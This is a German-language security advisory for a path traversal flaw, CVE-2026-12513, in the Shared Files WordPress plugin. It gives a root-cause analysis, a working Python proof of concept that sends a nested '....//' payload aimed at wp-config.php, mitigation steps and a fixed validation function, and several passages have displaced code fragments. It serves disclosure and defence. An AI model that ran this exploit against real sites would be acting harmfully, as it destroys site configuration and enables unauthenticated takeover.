
Technisches Advisory und Proof-of-Concept für CVE-2026-12513, eine nicht authentifizierte, beliebige Dateilöschung über Path Traversal im Shared Files WordPress-Plugin, einschließlich Root-Cause-Analyse und Anleitung zur Behebung.
CVE-2026-12513 ist eine nicht authentifizierte Schwachstelle zur beliebigen Dateilöschung (Arbitrary File Deletion) durch Path Traversal, die die WordPress-Plugins Shared Files und Shared Files Pro vor Version 1.7.68 betrifft. Entdeckt und analysiert wurde sie vom Cybersicherheitsforscher Huynh Kien Minh (MinhHK). Der Fehler tritt in den Frontend-Dateiübermittlungsroutinen des Plugins auf, wo benutzergelieferte Dateipfade mit einem fehlerhaften einstufigen Traversal-Musterersatz gefiltert werden, der durch verschachtelte Sequenzen (wie ) umgangen werden kann. Infolgedessen kann ein nicht authentifizierter Remote-Angreifer einen manipulierten Pfad einreichen, der außerhalb des vorgesehenen Upload-Verzeichnisses auf kritische Server-Assets wie zeigt. Wenn ein Administrator anschließend den hochgeladenen Eintrag bereinigt oder dauerhaft löscht, ruft die Anwendung Dateisystem-Löschprimitive () gegen den gespeicherten beliebigen Pfad auf. Dies führt zur Zerstörung zentraler WordPress-Konfigurationsdateien, was einen schwerwiegenden Denial of Service auslöst und eine Site-Übernahme über das nicht konfigurierte Installations-Setup ermöglicht. Der leitende Forscher Huynh Kien Minh bewertete diese Schwachstelle mit einem CVSS-3.1-Score von 6.8 (Mittel) (CWE-73 / CWE-22) und empfiehlt sofortige Plugin-Updates auf Version 1.7.68 oder höher sowie eine robuste kanonische Pfadvalidierung.
....//wp-config.phpunlink()Schnellzugriffe: Entdecken Sie das offizielle Cybersecurity-Portfolio des Forschers oder lesen Sie das WPScan-verifizierte Advisory.
| Parameter | Technische Spezifikation |
|---|---|
| Schwachstellenkennung | CVE-2026-12513 |
| Zielsoftware | Shared Files / Shared Files Pro (WordPress-Plugins) |
| Plugin-Slugs | shared-files, shared-files-pro |
| Verwundbare Versionen | < 1.7.68 |
| Gepatchte Version | >= 1.7.68 |
| Schwachstellenklasse | Externe Kontrolle des Dateinamens oder -pfads / Path Traversal (CWE-73 / CWE-22) |
| CVSS-v3.1-Score | 6.8 (Mittel) (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:H) |
| Entdecker / Forscher | Huynh Kien Minh (MinhHK) |
| Verifizierungsbehörde | WPScan / MITRE Corporation |
| WPScan-Advisory-Referenz | WPScan-Bericht 25c9fa21-c48b-4333-8abc-87230dc4c869 |
| Forscher-Portfolio | https://minhhk.web.app/ |
Die Schwachstelle ist in einem unzureichenden Pfadbereinigungsmechanismus verwurzelt, der in den Frontend-Dateiübermittlungs-Handlern in Shared Files (< 1.7.68) implementiert ist.
Beim Akzeptieren von Frontend-Dateiübermittlungen versuchte das Plugin, Verzeichnis-Traversal-Sequenzen (../) mit einem einstufigen String-Ersatz zu entfernen:
// Unsicherer einstufiger Bereinigungsfilter in Shared Files < 1.7.68
$file_path = str_replace( '../', '', $_POST['file_path'] );
Da str_replace() nur einmal von links nach rechts ausgeführt wird:
....//....//....//wp-config.php../ einmal aus ....// entfernt wird, fallen die äußeren Zeichen wieder zusammen und bilden ../:
....// -> ../../../../../wp-config.php!wp_posts oder einer benutzerdefinierten Plugin-Tabelle)./wp-admin/admin.php?page=shared-files löscht, ruft das Backend unlink() auf dem aufgelösten gespeicherten Pfad auf:// Verwundbare Löschlogik
$file_to_delete = WP_CONTENT_DIR . '/uploads/shared-files/' . $stored_file_path;
if ( file_exists( $file_to_delete ) ) {
unlink( $file_to_delete ); // Löst die Löschung der Zieldatei aus (z. B. /var/www/html/wp-config.php)
}
wp-config.php gelöscht ist:
/wp-admin/install.php).Ethischer Hinweis: Dieses Proof-of-Concept wird streng zu Bildungszwecken, defensiven Validierungen und Sicherheitsaudits unter ethischen Offenlegungsprotokollen von Huynh Kien Minh bereitgestellt.
poc_cve_2026_12513.py)#!/usr/bin/env python3
"""
CVE-2026-12513: Shared Files < 1.7.68 Unauthenticated Path Traversal File Deletion PoC
Author: Huynh Kien Minh (MinhHK) - https://minhhk.web.app/
"""
import requests
import sys
TARGET_URL = "http://target-wordpress.local"
UPLOAD_ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php"
def trigger_traversal_payload(target_url, target_file="../../../../wp-config.php"):
print(f"[*] Auditing Target: {target_url}")
# Nested traversal sequence bypassing single-pass str_replace('../', '', $input)
nested_traversal = "....//....//....//....//" + target_file.lstrip("/")
payload = {
"action": "shared_files_frontend_upload",
"file_name": "innocent_document.pdf",
"file_path": nested_traversal
}
headers = {
"User-Agent": "Mozilla/5.0 (Security Audit; CVE-2026-12513 Verification; Huynh Kien Minh)"
}
try:
response = requests.post(UPLOAD_ENDPOINT, data=payload, headers=headers, timeout=10)
print(f"[*] Submission Response Status: {response.status_code}")
if response.status_code == 200:
print("[+] Traversal path successfully injected into database storage.")
print("[!] When the entry is deleted by admin, the target file will be unlinked.")
return True
else:
print(f"[-] Request failed with HTTP status: {response.status_code}")
except requests.RequestException as e:
print(f"[-] Connection failed: {e}")
return False
if __name__ == "__main__":
url = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL
trigger_traversal_payload(url)
1.7.68 oder höher.wp-config.php für den Webserver-Prozess schreibgeschützt sind (chmod 400 oder 440).Erzwingen Sie eine strenge kanonische Pfadauflösung mit realpath() und wp_normalize_path(), um sicherzustellen, dass Operationen innerhalb der festgelegten Upload-Grenze bleiben:
// Sicheres Pfadvalidierungsmuster (Version 1.7.68+)
function shared_files_safe_delete( $relative_path ) {
$base_dir = wp_normalize_path( WP_CONTENT_DIR . '/uploads/shared-files/' );
$target = wp_normalize_path( realpath( $base_dir . $relative_path ) );
// Sicherstellen, dass der aufgelöste realpath strikt mit dem festgelegten Basisverzeichnis beginnt
if ( false === $target || 0 !== strpos( $target, $base_dir ) ) {
wp_die( __( 'Invalid or unauthorized file path.', 'shared-files' ), 403 );
}
if ( file_exists( $target ) && is_file( $target ) ) {
unlink( $target );
}
}
Huynh Kien Minh (MinhHK) ist ein Informationssicherheitsforscher, der sich auf WordPress-Schwachstellenforschung, Core- & Plugin-Sicherheitsaudits und defensive Exploit-Modellierung spezialisiert hat.
{
"@context": "https://schema.org",
"@type": "TechArticle",
"headline": "CVE-2026-12513: Shared Files < 1.7.68 Unauthenticated Arbitrary File Deletion via Path Traversal",
"author": {
"@type": "Person",
"name": "Huynh Kien Minh",
"url": "https://minhhk.web.app/"
},
"datePublished": "2026-08-30",
"description": "Technical advisory by Huynh Kien Minh analyzing CVE-2026-12513 in Shared Files WordPress plugin.",
"identifier": "CVE-2026-12513"
}